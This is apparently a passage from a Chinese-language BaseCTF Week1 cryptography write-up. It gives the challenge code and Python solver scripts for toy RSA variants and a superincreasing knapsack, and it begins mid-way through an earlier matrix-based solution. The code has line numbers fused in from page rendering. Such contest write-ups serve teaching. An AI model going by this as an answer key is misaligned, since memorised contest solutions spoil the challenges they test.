246938237257830976937359020731335958068934235967457123039874441635435388736524907036941379695243043923900290273902,40388963560266769813551191613694768219344365780650048155838802242681775019274045964917142477325170274191702615504062392461666558731638338001971723737440974198823443420018559746335727687]])7det_C = 18det_B = 19det_MAT = MAT[0][0]*(MAT[1][1]*MAT[2][2]-MAT[1][2]*MAT[2][1])-MAT[0][1]*(MAT[1][0]*MAT[2][2]-MAT[2][0]*MAT[1][2])+MAT[0][2]*(MAT[1][0]*MAT[2][1]-MAT[2][0]*MAT[1][1])10det_A = det_MAT//1//111flag = det_A//(point1-point2)12flag = long_to_bytes(flag)13print(flag)
[Week1] ez_rsa
题目如下:
1from Crypto.Util.number import *2import gmpy23m=bytes_to_long(b'BaseCTF{th1s_is_fake_fl4g}')4e=655375p=getPrime(512)6q=getPrime(512)7n=p*q8not_phi=(p+2)*(q+2)9
10c=pow(m,e,n)11
12print(n)13print(not_phi)14print(c)
此为rsa加密,加密过程如下:
算模逆元可以使用gmpy2.invert()
函数,例:gmpy2.invert(4,23)
为6
exp如下:
1from Crypto.Util.number import *2import gmpy23
4n = 965575325527648257484727689845796821229865626132468806288041861939920678257695592005261476368512667168232099281736355936950935470638278662405830072227903448979766906911396714613428964374280861422629693605602933506300963559472911299431729399238353179079544655560185152392280811311674076745588498606472373174215not_phi = 965575325527648257484727689845796821229865626132468806288041861939920678257695592005261476368512667168232099281736355936950935470638278662405830072227903849006156653941808128106972865540082620300492802136633908558870775029928048057943881661978203955076000288168104710931634666396731424827511153533896555332056c = 370772230153993480928518943726466586047402673436442176896554052869636381190018058424577831362285096591450245361053461670190114115679369525921066489479941924692235161274724217793544885291479312517092803869482629220984800605854383922122465919358501157189894807402992467092314371386464675327941398697413182029457
8e=655379
10# 明文为m,密文为c11# 公钥为(e,n),私钥为(d,n)12# t = (p-1)*(q-1)13# (d*e)%t == 114sum_pq = (not_phi-n-4)//215# p+q pq求(q-1)(p-1)5 collapsed lines
16t = n-sum_pq+117d = gmpy2.invert(e,t)18m=pow(c,d,n)19flag = long_to_bytes(m)20print(flag)
[Week1] babyrsa
题目如下:
1from Crypto.Util.number import *2
3flag=b'BaseCTF{}'4m=bytes_to_long(flag)5
6n=getPrime(1024)7e=655378c=pow(m,e,n)9
10print("n =",n)11print("e =",e)12print("c =",c)
回归定义
由欧拉函数定义可得,r = n-1
,可得exp:
1from Crypto.Util.number import *2import gmpy23
4n = 1041832280885422158325868539605457701294324550170849226668637846774291018300812960921605773855041199926844653700640781111803925694287245670041272194048235720262234368627457301731399864926024777138855423268704674009638521188693158467513894554549011560560526158388963693289978483114810638438724241408608369883235e = 655376c = 821964630596764865755350083709154568131851834639242945711761747895323974799539464340347167199107915118626365604900181943664038138710569909018678692186202091088976057396903999971148090241119213920732189163125056182044069518395046675332981804407961830564086320173975683908995684982166496856425860918620541198327
8N = n-19d = gmpy2.invert(e,N)10m = pow(c,d,n)11flag = long_to_bytes(m)12print(flag)
[Week1] babypack
题目如下:
1from Crypto.Util.number import *2import random3flag=b'BaseCTF{}'4m=45bin_m=bin(m)[2:]6length=len(bin_m)7print(list(bin(m)))8a=[1]9sum=110for i in range(length-1):11 temp=random.randint(2*sum+1,4*sum)12 sum=sum+temp13 a.append(temp)14
15a=a[::-1]6 collapsed lines
16c=017for i in range(length):18 if bin_m[i]=='1':19 c=c+a[i]20print("a=",a)21print("c=",c)
阅读可得,在生成a数组时,每一个数字都比之前所有数字之和大,由此可得exp:
1from Crypto.Util.number import *2import random3# a=4# c=5flag=''6for i in range(len(a)):7 if c>=a[i]:8 flag+='1'9 c-=a[i]10 else:11 flag+='0'12flag=int(flag,2)13flag=long_to_bytes(flag)14print(flag)